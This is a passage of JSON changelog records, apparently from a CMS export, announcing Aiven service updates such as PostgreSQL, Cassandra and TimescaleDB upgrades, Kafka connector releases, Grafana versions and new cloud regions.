releases."}],"markDefs":[{"_key":"23bda05c5ea1","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2023-08-10T09:34:00.000Z","tags":[{"_key":"8f2cfa7b6c7b","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL® upgraded to 15.4, 14.9, 13.12, 12.16, and 11.21"} {"_createdAt":"2022-10-27T09:02:26Z","_i18n_lang":"en","_id":"880b6832-4a90-4471-9bb1-685175e261d5","_rev":"rHrbN7cdfRjM6CvZf3J3yL","_type":"changelog","_updatedAt":"2022-10-27T09:02:26Z","changeType":"","description":[{"_key":"3a56c667-4766-40a6-8fbe-183925f3c135","_type":"block","children":[{"_key":"9905e3bd-95a3-432e-ac76-84ec7a2e48a7","_type":"span","marks":[],"text":"You can use the Aiven command-line client to configure this."}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-06-22T00:00:00.000Z","tags":[{"_key":"4806e722-c73f-4fba-aaf4-25bbf915febb","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Allow adjusting \u003ccode\u003elog_temp_files\u003c/code\u003e through the \u003ccode\u003euser_config\u003c/code\u003e interface"} {"_createdAt":"2022-10-27T09:10:16Z","_i18n_lang":"en","_id":"89777cce-d313-4e82-8c7a-6d2c7e401877","_rev":"GNtcCQgxf3P3DqpLt1kAnl","_type":"changelog","_updatedAt":"2022-10-27T09:10:16Z","changeType":"","publishedAt":"2018-04-27T00:00:00.000Z","tags":[{"_key":"f57729ec-a9a7-454f-92d4-3ed9ff504cc1","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka consumer group offsets and replication lags are now available in Grafana (kafka_consumer_group, split by topic and partition)."} {"__i18n_lang":"en","_createdAt":"2023-10-13T10:57:57Z","_id":"9e8931ba-9b5b-4230-a9ce-b0266d25911a","_rev":"oVKLF5tNtw07ELMy9jwUVe","_type":"changelog","_updatedAt":"2023-10-13T12:36:19Z","changeType":"improved","description":[{"_key":"d43050502ff2","_type":"block","children":[{"_key":"d5d4c5050983","_type":"span","marks":[],"text":"Starting with Aiven for OpenSearch® versions 1.3.13 and 2.10, Aiven for OpenSearch® Dashboards will remain available during minor version upgrades. This enhancement ensures uninterrupted access to OpenSearch Dashboards even during the upgrade process."}],"markDefs":[],"style":"normal"},{"_key":"cabbb97a62ba","_type":"block","children":[{"_key":"d2b7a02b47ae","_type":"span","marks":[],"text":"For more information, see "},{"_key":"14f858f67456","_type":"span","marks":["e129caca7ec9"],"text":"OpenSearch® Dashboards"},{"_key":"28fd62533c68","_type":"span","marks":[],"text":". "}],"markDefs":[{"_key":"e129caca7ec9","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch/dashboards"}],"style":"normal"}],"publishedAt":"2023-10-13T12:30:25.861Z","tags":[{"_key":"d4f8e95480e4","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"OpenSearch® Dashboard availability during minor version upgrades"} {"_createdAt":"2022-10-27T09:05:32Z","_i18n_lang":"en","_id":"9046b138-c19d-424d-8da2-e32968408567","_rev":"HEiYk6nGjmUICadcDbT3sQ","_type":"changelog","_updatedAt":"2022-10-27T09:05:32Z","changeType":"","description":[{"_key":"f95d26af-704f-4ecc-bfc2-5f1cdd9cda12","_type":"block","children":[{"_key":"bae2e622-9715-4fb8-b213-2b7440207345","_type":"span","marks":[],"text":"Please see "},{"_key":"158a7d39-4bcb-4869-93a6-2433a8f4aa6f","_type":"span","marks":["m13584123127735"],"text":"the changelog"},{"_key":"38552989-f80e-4fa3-abad-5c2d4eeb6a6c","_type":"span","marks":[],"text":" and "},{"_key":"91713f02-49ac-419a-b493-1fe1fb22b948","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"55d0f5f3-96b0-48ee-9955-771b2272514d","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m13584123127735","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v1.5.1"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2020-12-04T00:00:00.000Z","tags":[{"_key":"1db29c08-a52b-40fd-89d4-bfa403c18fe6","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 1.5.1"} {"_createdAt":"2022-10-27T09:05:52Z","_i18n_lang":"en","_id":"91289129-db39-4b37-a925-68b2ee9d96cf","_rev":"HEiYk6nGjmUICadcDbT5ee","_type":"changelog","_updatedAt":"2022-10-27T09:05:52Z","changeType":"","description":[{"_key":"c79095f0-da8c-4587-9c0e-f05294a42eab","_type":"block","children":[{"_key":"19de1896-d941-4976-ac90-f1950e6aa9ee","_type":"span","marks":[],"text":"Please see the "},{"_key":"df1c0465-b2b9-48e2-a87e-255d4b1a3f03","_type":"span","marks":["m1351799982542"],"text":"Release Notes"},{"_key":"372d0765-0324-49cb-8ff7-acb2320c53de","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m1351799982542","_type":"link","href":"https://debezium.io/releases/1.3/release-notes/"}],"style":"normal"}],"publishedAt":"2020-10-14T00:00:00.000Z","tags":[{"_key":"7f3d1449-751d-4931-8c9e-a5e023bafbec","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect Debezium 1.3.0.Final is now available"} {"_createdAt":"2022-10-27T09:06:40Z","_i18n_lang":"en","_id":"91d58014-2f3e-47db-9432-cf72594ee2a1","_rev":"Dn65xz5Z1k22g7BhlztIhI","_type":"changelog","_updatedAt":"2022-10-27T09:06:40Z","changeType":"","description":[{"_key":"593c1dba-9a00-4c40-ac6c-895722256f18","_type":"block","children":[{"_key":"021774e6-a10f-47b9-91f8-5c8793f657ea","_type":"span","marks":[],"text":"All new Elasticsearch services will be using this version and older customers will be upgraded to it over time. To see what's new see the release notes for "},{"_key":"39f02f7a-5de5-4eb4-bad8-96f4e8f567af","_type":"span","marks":["m15218326698357"],"text":"Elasticsearch 7.7.0"},{"_key":"5622dce2-b5bd-4ec3-8aef-41788f18ff41","_type":"span","marks":[],"text":" and "},{"_key":"b4ff1e0a-153e-4688-b69a-8d8b64cad1bf","_type":"span","marks":["m5674395811291"],"text":"Elasticsearch 6.8.9"},{"_key":"039f41d4-e5bd-4944-931c-795c8be1e367","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m15218326698357","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-7.7.0.html"},{"_key":"m5674395811291","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/6.8/release-notes-6.8.9.html"}],"style":"normal"}],"publishedAt":"2020-05-18T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch new minor versions 6.8.9 and 7.7.0 are now available"} {"_createdAt":"2022-10-27T09:10:46Z","_i18n_lang":"en","_id":"923b5532-f332-4978-9c0e-5c267c0c4b8d","_rev":"chYcdg0OBeHzQFNhareGAO","_type":"changelog","_updatedAt":"2022-10-27T09:10:46Z","changeType":"","publishedAt":"2018-02-03T00:00:00.000Z","tags":[{"_key":"9933cbf1-1ae1-43d5-b2ff-6bb4defebb66","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka service now implements automatic leader balancing, improving the resource utilization of each broker."} {"_createdAt":"2022-10-27T09:05:47Z","_i18n_lang":"en","_id":"929d924a-36e6-4a26-96cb-431af8eb91ac","_rev":"GNtcCQgxf3P3DqpLt1jTRt","_type":"changelog","_updatedAt":"2022-10-27T09:05:47Z","changeType":"","description":[{"_key":"cea022d8-a97a-473e-a125-e1745c302467","_type":"block","children":[{"_key":"9b8bec84-596a-4994-92a6-8e943d49508b","_type":"span","marks":[],"text":"Please see the "},{"_key":"7411eb9f-408a-47a4-bbc7-36435adf2518","_type":"span","marks":["m6068025718326"],"text":"changelog"},{"_key":"1769832a-567b-40f6-b084-e86eae242db8","_type":"span","marks":[],"text":" and "},{"_key":"ddc20412-7e15-45f4-9cd9-76242cf8b2e1","_type":"span","marks":["m6284038130996"],"text":"documentation"},{"_key":"cb31dbe9-3b9e-4568-be6e-272722c1b3fd","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m6068025718326","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-gcs/releases/tag/v0.5.0"},{"_key":"m6284038130996","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-gcs/tree/v0.6.0"}],"style":"normal"}],"publishedAt":"2020-10-29T00:00:00.000Z","tags":[{"_key":"2ed1c29c-16cf-4766-bee2-0ebcce6afaeb","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka GCS Sink Connector has been updated to version 0.6.0"} {"__i18n_lang":"en","_createdAt":"2023-07-04T08:37:47Z","_id":"9307b767-e256-4e1f-8607-04babb2aa5b4","_rev":"QGahfGdSUCeizIttZpVmDe","_type":"changelog","_updatedAt":"2023-07-10T08:19:43Z","changeType":"improved","description":[{"_key":"dc854123f331","_type":"block","children":[{"_key":"3bf38dd2d5c10","_type":"span","marks":[],"text":"TimescaleDB extension version 2.11.1 is now available for Aiven for PostgreSQL.\nIt introduces the following bug fixes on top of release 2.11.0:"}],"markDefs":[],"style":"normal"},{"_key":"0e3c92ae8eae","_type":"block","children":[{"_key":"20dd98b3e9940","_type":"span","marks":["d9080615a7f7"],"text":"Scheduler accidentally getting killed when calling delete_job"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d9080615a7f7","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5705"}],"style":"normal"},{"_key":"7d245a50b8a5","_type":"block","children":[{"_key":"8e1e87bb4f2d0","_type":"span","marks":["04a4bc51b8c0"],"text":"Fix Result node handling with ConstraintAwareAppend on compressed chunks"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"04a4bc51b8c0","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5742"}],"style":"normal"},{"_key":"f7a1e36d368c","_type":"block","children":[{"_key":"cb6f462ac0760","_type":"span","marks":["c8e4211c2545"],"text":"Ensure tlist is present in decompress chunk plan"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c8e4211c2545","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5750"}],"style":"normal"},{"_key":"35fdd27b2e11","_type":"block","children":[{"_key":"64417358c2950","_type":"span","marks":["865c2a9c8163"],"text":"Fixed handling of NULL values in bookend_sfunc"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"865c2a9c8163","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5754"}],"style":"normal"},{"_key":"740daf05c415","_type":"block","children":[{"_key":"eb2e2a58ddf80","_type":"span","marks":["ab5763532f9d"],"text":"Fixed batch look ahead in compressed sorted merge"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ab5763532f9d","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5798"}],"style":"normal"},{"_key":"a01aa47a379e","_type":"block","children":[{"_key":"9d601cb9fded0","_type":"span","marks":["7584169e6289"],"text":"Mark cagg_watermark function as PARALLEL RESTRICTED"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"7584169e6289","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5804"}],"style":"normal"},{"_key":"78c538269ff5","_type":"block","children":[{"_key":"cb99fc44d2000","_type":"span","marks":["ae0634dd210c"],"text":"Copy job config JSONB structure into current MemoryContext"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ae0634dd210c","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5807"}],"style":"normal"},{"_key":"42ed7c7704ff","_type":"block","children":[{"_key":"647c673848a70","_type":"span","marks":["5b0f4854d569"],"text":"Improve continuous aggregate query chunk exclusion"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5b0f4854d569","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5824"}],"style":"normal"}],"publishedAt":"2023-07-10T08:19:00.000Z","tags":[{"_key":"cd94a882cc80","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extension 2.11.1 for Aiven for PostgreSQL released"} {"_createdAt":"2022-10-27T09:02:07Z","_i18n_lang":"en","_id":"939e553d-d3b9-4b4a-97a2-ff9dcdb2248f","_rev":"GNtcCQgxf3P3DqpLt1iTEL","_type":"changelog","_updatedAt":"2022-10-27T09:02:07Z","changeType":"","description":[{"_key":"1df29c20-b9fa-4346-8c06-0954fa965e62","_type":"block","children":[{"_key":"4c64a3f5-185d-41d2-8c81-7e6c48a4cd68","_type":"span","marks":[],"text":"Please see the "},{"_key":"0f3c322b-e264-424b-9243-ab63c70b170d","_type":"span","marks":["m11891652787432"],"text":"Release Notes"},{"_key":"1167f8ee-072b-48c9-be8c-d2023c06e510","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11891652787432","_type":"link","href":"https://flink.apache.org/news/2022/07/06/release-1.15.1.html"}],"style":"normal"}],"publishedAt":"2022-08-26T00:00:00.000Z","tags":[{"_key":"545f948c-c81b-4f58-93ed-e8e569cb3195","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"service"}],"title":"Apache Flink version 1.15.1 is now available on Aiven"} {"_createdAt":"2022-10-27T09:03:42Z","_i18n_lang":"en","_id":"947defa9-d9ef-49b9-bc17-29dc9b109279","_rev":"GNtcCQgxf3P3DqpLt1imYf","_type":"changelog","_updatedAt":"2022-10-27T09:03:42Z","changeType":"","description":[{"_key":"038c1938-9d4b-402a-babb-fedbbe0d5975","_type":"block","children":[{"_key":"60905363-c739-4a51-bca6-f9d53ea863d1","_type":"span","marks":[],"text":"Please see the "},{"_key":"7c1f6c7c-3913-4f11-9cc6-30991046cb7e","_type":"span","marks":["m17240988949118"],"text":"help article"},{"_key":"99bc068c-3036-460c-b485-dc2982bb9c97","_type":"span","marks":[],"text":" for details."}],"markDefs":[{"_key":"m17240988949118","_type":"link","href":"https://help.aiven.io/en/articles/5538233-static-ip-addresses"}],"style":"normal"}],"publishedAt":"2021-09-07T00:00:00.000Z","tags":[],"title":"Configure Aiven services to use static IP addresses"} {"_createdAt":"2022-10-27T09:11:55Z","_i18n_lang":"en","_id":"9481ef22-c776-4942-acd5-b15b484b5b54","_rev":"GNtcCQgxf3P3DqpLt1kbkj","_type":"changelog","_updatedAt":"2022-10-27T09:11:55Z","changeType":"","description":[{"_key":"d5538571-6a08-431a-b182-5fc735889adc","_type":"block","children":[{"_key":"26c30670-674e-4271-9d69-6ef77e4f12b4","_type":"span","marks":[],"text":"Previously, database creation and deletion were only possible through Aiven Web console."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-04-22T00:00:00.000Z","tags":[{"_key":"52fcc84e-8c20-4e02-947f-f11b89d17287","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Added support add CREATE DATABASE permissions for avnadmin user"} {"_createdAt":"2022-10-27T09:03:15Z","_i18n_lang":"en","_id":"9576e683-dd8f-47e6-a41e-79c178a890ef","_rev":"zF7BMhNhvYpWtPMfHNMbVa","_type":"changelog","_updatedAt":"2022-10-27T09:03:15Z","changeType":"","description":[{"_key":"08c2f1a0-879a-4ef3-b060-e0b027a9b6fa","_type":"block","children":[{"_key":"a1a8069b-84c1-4e4e-91a0-2214a89ea903","_type":"span","marks":[],"text":"Cassandra 4 comes with many stability and performance improvements, as well as some exciting new features. Please see the "},{"_key":"4a3808bb-2cc3-4408-921a-5deab5d41b42","_type":"span","marks":["m11434828314786"],"text":"release notes"},{"_key":"5dff7e30-8ce4-47d1-9049-ec1cfbeee0ee","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m11434828314786","_type":"link","href":"https://cassandra.apache.org/doc/4.0/cassandra/new/index.html"}],"style":"normal"}],"publishedAt":"2021-12-16T00:00:00.000Z","tags":["Aiven for Cassandra"],"title":"Aiven for Cassandra 4 is now available"} {"_createdAt":"2022-10-27T09:09:10Z","_i18n_lang":"en","_id":"959cdb05-6b7f-4fb8-bcd8-8a5c9b7722ee","_rev":"Dn65xz5Z1k22g7BhlztLrL","_type":"changelog","_updatedAt":"2022-10-27T09:09:10Z","changeType":"","description":[{"_key":"5f36d656-e7d5-4533-ab0a-fe20f0558d57","_type":"block","children":[{"_key":"4e008130-f5a7-4fd5-b6b9-065a08f1e296","_type":"span","marks":[],"text":"All Aiven services are now available in the new region."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-12-12T00:00:00.000Z","tags":[{"_key":"f132afb3-c97f-45d2-a010-b541f910fe95","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"hostProvider"}],"title":"Added support for Amazon Web Services (AWS) Stockholm (\u003ccode\u003eeu-north-1\u003c/code\u003e) region"} {"__i18n_lang":"en","_createdAt":"2023-05-12T10:04:06Z","_id":"96aa7605-386c-4355-b5b5-592fba5025e4","_rev":"XDikELIEJznuaeQmqvX0gU","_type":"changelog","_updatedAt":"2023-05-12T11:14:08Z","changeType":"new","description":[{"_key":"346ee69b58cf","_type":"block","children":[{"_key":"8dfbd1419a130","_type":"span","marks":[],"text":"You can now integrate external or self-hosted Apache Kafka® with Aiven for Apache Flink®. This integration allows you to effortlessly develop highly scalable and robust real-time streaming applications. Benefit from the flexibility to connect your Flink applications (jobs) to any Apache Kafka cluster, whether managed by Aiven or self-hosted. To perform this integration, you can use the Aiven CLI or the Aiven Console. \n\nFor more information, see "},{"_key":"8dfbd1419a131","_type":"span","marks":["8c2366a31b99"],"text":"Connect Apache Kafka® to Aiven for Apache Flink®"},{"_key":"8dfbd1419a132","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"8c2366a31b99","_type":"link","href":"https://docs.aiven.io/docs/products/flink/howto/ext-kafka-flink-integration"}],"style":"normal"},{"_key":"3094ba659bac","_type":"block","children":[{"_key":"4d76752b1a3b0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-05-12T11:12:06.272Z","tags":[{"_key":"0cbab66d7b65","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"service"}],"title":"Integrate Apache Kafka® with Aiven for Apache Flink®"} {"_createdAt":"2022-10-27T09:04:57Z","_i18n_lang":"en","_id":"96f144b8-1ac2-4699-a8df-856416108b1c","_rev":"uVO3nVvSuHH0nc1h0MTfd4","_type":"changelog","_updatedAt":"2022-10-27T09:04:57Z","changeType":"","description":[{"_key":"f0736391-18d7-471c-b464-2a28011c6e5c","_type":"block","children":[{"_key":"69568849-2907-41f6-a44f-6521c61205a2","_type":"span","marks":[],"text":"Please refer to our "},{"_key":"22e3f952-daa0-47fb-bca5-85b634b6d6c6","_type":"span","marks":["m56985633328"],"text":"help article"},{"_key":"84e2e44a-a6ee-46ed-8a70-97adbcb92fac","_type":"span","marks":[],"text":" to see how it is done."}],"markDefs":[{"_key":"m56985633328","_type":"link","href":"https://help.aiven.io/en/articles/4758669-renaming-a-project"}],"style":"normal"}],"publishedAt":"2021-02-25T00:00:00.000Z","tags":[],"title":"Aiven REST API and Web console now support renaming projects"} {"_createdAt":"2022-10-27T09:06:25Z","_i18n_lang":"en","_id":"9750e52a-37f8-4072-bd62-32a109d2b47f","_rev":"ri8ZjU8zRgh6Niwltv1BNn","_type":"changelog","_updatedAt":"2022-10-27T09:06:25Z","changeType":"","description":[{"_key":"0b7b0dae-271d-4914-be5a-00b95e6b5e2e","_type":"block","children":[{"_key":"34b3f8a4-fc8b-4670-b280-ae159b89eab7","_type":"span","marks":[],"text":"Please see the "},{"_key":"ea74404f-3b66-4660-a362-112f1543bcc7","_type":"span","marks":["m13178612766077"],"text":"release notes"},{"_key":"f5373bc9-be96-4acc-a30b-235d4b24fc58","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m13178612766077","_type":"link","href":"https://community.grafana.com/t/release-notes-v7-0-x/29381"}],"style":"normal"}],"publishedAt":"2020-07-14T00:00:00.000Z","tags":[{"_key":"035c1ac3-c44a-4f95-b470-51f72d891041","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 7.0.4"} {"_createdAt":"2022-10-27T09:09:24Z","_i18n_lang":"en","_id":"982518ae-5745-4194-8e5d-afbb201d40f4","_rev":"chYcdg0OBeHzQFNhareDAn","_type":"changelog","_updatedAt":"2022-10-27T09:09:24Z","changeType":"","description":[{"_key":"94dc9d22-3e2e-4f18-a6a6-7ede1773d1c9","_type":"block","children":[{"_key":"f2addb72-2f2f-4c8e-86ac-3c058213e72d","_type":"span","marks":[],"text":"See "},{"_key":"8d13aab0-1a4b-4aeb-99c4-1625ee15f457","_type":"span","marks":["m16408436018782"],"text":"release announcement"},{"_key":"d166db98-c9bf-4d9b-a445-6b6efc894e86","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m16408436018782","_type":"link","href":"https://www.postgresql.org/about/news/1905/"}],"style":"normal"}],"publishedAt":"2018-11-08T00:00:00.000Z","tags":[{"_key":"bff55162-3ba8-4a58-9c2a-104b26d237eb","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 11.1, 10.6, 9.6.11 and 9.5.15"} {"_createdAt":"2022-10-27T09:02:15Z","_i18n_lang":"en","_id":"9847dc33-ee1a-47b4-b829-62c1ab8b4806","_rev":"uVO3nVvSuHH0nc1h0MTQMa","_type":"changelog","_updatedAt":"2022-10-27T09:02:15Z","changeType":"","publishedAt":"2022-07-26T00:00:00.000Z","tags":[{"_key":"7560f722-05f2-44bb-b0ee-4942e636a169","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL TimescaleDB version 2.7.2 is available."} {"_createdAt":"2022-10-27T09:05:46Z","_i18n_lang":"en","_id":"985b4cfc-515a-4363-b719-ac4f033797bb","_rev":"7JYD5XroFCjaK9NJzk3rxU","_type":"changelog","_updatedAt":"2022-10-27T09:05:46Z","changeType":"","description":[{"_key":"db109452-5399-4fd6-a96a-e85ca84e25b3","_type":"block","children":[{"_key":"c44e1be5-3ef1-4913-8e81-b472f868ce58","_type":"span","marks":[],"text":"Please see the "},{"_key":"9531f238-0cec-42dd-b857-87592fb6da96","_type":"span","marks":["m16060911949624"],"text":"release notes"},{"_key":"4baf8c2c-90f6-4f88-825c-921991ce4679","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m16060911949624","_type":"link","href":"https://community.grafana.com/t/release-notes-v7-3-x/37993"}],"style":"normal"}],"publishedAt":"2020-11-02T00:00:00.000Z","tags":[{"_key":"337dc73d-4bfb-409e-b9a3-9e3b67b9c6f4","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 7.3.1"} {"__i18n_lang":"en","_createdAt":"2023-01-18T10:34:59Z","_id":"9922b669-deca-4a35-b921-42e6b5ed55f6","_rev":"iop8tFFqgfe67JrEbDmkcT","_type":"changelog","_updatedAt":"2023-02-03T12:04:45Z","changeType":"new","description":[{"_key":"366ea08bec69","_type":"block","children":[{"_key":"c5c999f1e6a60","_type":"span","marks":[],"text":"TimescaleDB extension 2.9.2 is now available for Aiven for PostgreSQL. TimescaleDB is an open-source relational database extension running on top of PostgreSQL for time-series and analytics purposes. Upgrade to the latest version at your earliest convenience so that you can get major new features and bug fixes to the previous version."}],"markDefs":[],"style":"normal"},{"_key":"87e9a8a87bec","_type":"block","children":[{"_key":"96cbeed4c2ae","_type":"span","marks":[],"text":"Key features introduced with this release are the following:"}],"markDefs":[],"style":"normal"},{"_key":"5247a91ed92b","_type":"block","children":[{"_key":"1d76b5fbdfac","_type":"span","marks":[],"text":"Hierarchical Continuous Aggregates (aka Continuous Aggregate on top of another Continuous Aggregate)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4fb458cd7244","_type":"block","children":[{"_key":"0ac1fc82da22","_type":"span","marks":[],"text":"Improved "},{"_key":"bda058f74e02","_type":"span","marks":["em"],"text":"time_bucket_gapfill"},{"_key":"fb2d20d42c48","_type":"span","marks":[],"text":" function to allow specifying the timezone to bucket"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"aed548723d76","_type":"block","children":[{"_key":"ad8eb924d107","_type":"span","marks":[],"text":"Fixed schedules for background jobs and the ability to check job errors"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4f02c242cfb1","_type":"block","children":[{"_key":"5bae9749e53e","_type":"span","marks":["em"],"text":"alter_data_node()"},{"_key":"6c815be9dcd0","_type":"span","marks":[],"text":" to change the data node configuration and configure the data node availability."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"publishedAt":"2023-02-02T10:34:00.000Z","tags":[{"_key":"344392fd1a1d","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extension 2.9.2 for Aiven for PostgreSQL released"} {"_createdAt":"2022-10-27T09:06:21Z","_i18n_lang":"en","_id":"996d187c-4ec5-4722-a565-c38c160fadc9","_rev":"7JYD5XroFCjaK9NJzk3sLy","_type":"changelog","_updatedAt":"2022-10-27T09:06:21Z","changeType":"","description":[{"_key":"8b5a1508-c2fc-41bb-a1c9-0f11e76b7d96","_type":"block","children":[{"_key":"ceebf265-1ac8-4719-9f94-4117bdd21340","_type":"span","marks":[],"text":"Please see "},{"_key":"bd30a354-7868-4bb4-813f-959ae2a5b120","_type":"span","marks":["m12974283160556"],"text":"the documentation"},{"_key":"32e02003-bda6-4c70-be41-dfc012669e15","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m12974283160556","_type":"link","href":"https://docs.mongodb.com/kafka-connector/current/"}],"style":"normal"}],"publishedAt":"2020-07-30T00:00:00.000Z","tags":[{"_key":"66455fd0-5298-4672-88f4-711e12e858a4","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"MongoDB Kafka Sink and Source connectors have been added"} {"_createdAt":"2022-10-27T09:10:17Z","_i18n_lang":"en","_id":"99b7db4a-e1ec-4179-bbd2-ec1b4a9686b2","_rev":"tsRucK8MIVb3810duaE7KW","_type":"changelog","_updatedAt":"2022-10-27T09:10:17Z","changeType":"","description":[{"_key":"7bc8894c-aadc-4444-a9c4-398482f82b11","_type":"block","children":[{"_key":"868595af-7537-4068-b306-6d5356005e18","_type":"span","marks":[],"text":"Please contact our support to join the program."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-04-26T00:00:00.000Z","tags":[{"_key":"c5ef7736-89c9-4437-86c1-114f3b4ad1ba","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"service"}],"title":"\u003ca href=\"https://aiven.io/cassandra\"\u003eAiven for Apache Cassandra\u003c/a\u003e is available in beta"} {"_createdAt":"2022-10-27T09:09:32Z","_i18n_lang":"en","_id":"9a0294b3-3817-4158-bdfb-42903a6281cc","_rev":"C4pC7IakZ1PpJ4LWR2B71D","_type":"changelog","_updatedAt":"2022-10-27T09:09:32Z","changeType":"","description":[{"_key":"6ac4dbb7-1b96-4ab8-9eba-b761a1189cc9","_type":"block","children":[{"_key":"1a6c13dd-bc5d-4b7f-80ed-4877ca3c6e7d","_type":"span","marks":[],"text":"All Aiven services are now available in the new region."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-10-24T00:00:00.000Z","tags":[{"_key":"8a5b192c-d5a0-43e9-8f3a-652d8f3e2984","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for Google Cloud Platform (GCP) Hong Kong (\u003ccode\u003easia-east2\u003c/code\u003e) region"} {"__i18n_lang":"en","_createdAt":"2023-08-17T12:17:59Z","_id":"9a8b2a03-c5c5-4287-bcae-2a958debb01d","_rev":"7XVZ09pFVUXWSWXVXNHKFg","_type":"changelog","_updatedAt":"2023-08-23T07:23:28Z","changeType":"improved","description":[{"_key":"7cd92e842684","_type":"block","children":[{"_key":"36690f1652be0","_type":"span","marks":[],"text":"Aiven for Apache Cassandra® has been upgraded from version 4.0.4 to version 4.0.11, which contains a variety of fixes to previous versions. Removing bugs and security vulnerabilities increases database performance, improves service availability, and helps ensure business continuity."}],"markDefs":[],"style":"normal"},{"_key":"76f73c196202","_type":"block","children":[{"_key":"c72cdee369900","_type":"span","marks":[],"text":"Check out "},{"_key":"c72cdee369901","_type":"span","marks":["9da98033e6d1"],"text":"Apache Cassandra release notes"},{"_key":"c72cdee369902","_type":"span","marks":[],"text":" for more details about the Apache Cassandra minor releases."}],"markDefs":[{"_key":"9da98033e6d1","_type":"link","href":"https://github.com/apache/cassandra/blob/cassandra-4.0.11/CHANGES.txt"}],"style":"normal"}],"publishedAt":"2023-08-09T12:17:00.000Z","tags":[{"_key":"76e5ffc3bea7","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"service"}],"title":"Aiven for Apache Cassandra® upgraded to 4.0.11"} {"_createdAt":"2022-10-27T09:09:07Z","_i18n_lang":"en","_id":"9aebebd1-fcf4-4665-b1cd-28068fe55dca","_rev":"HEiYk6nGjmUICadcDbTTLF","_type":"changelog","_updatedAt":"2022-10-27T09:09:07Z","changeType":"","description":[{"_key":"1e665a5f-5c9c-4a61-ab44-e64d460031c5","_type":"block","children":[{"_key":"8f8f67e4-8482-4848-9c0d-fc2b9496c4b6","_type":"span","marks":[],"text":"The v1 API is identical to the previous v1beta API and both v1 and v1beta endpoints are available. API users are encouraged to switch from v1beta to 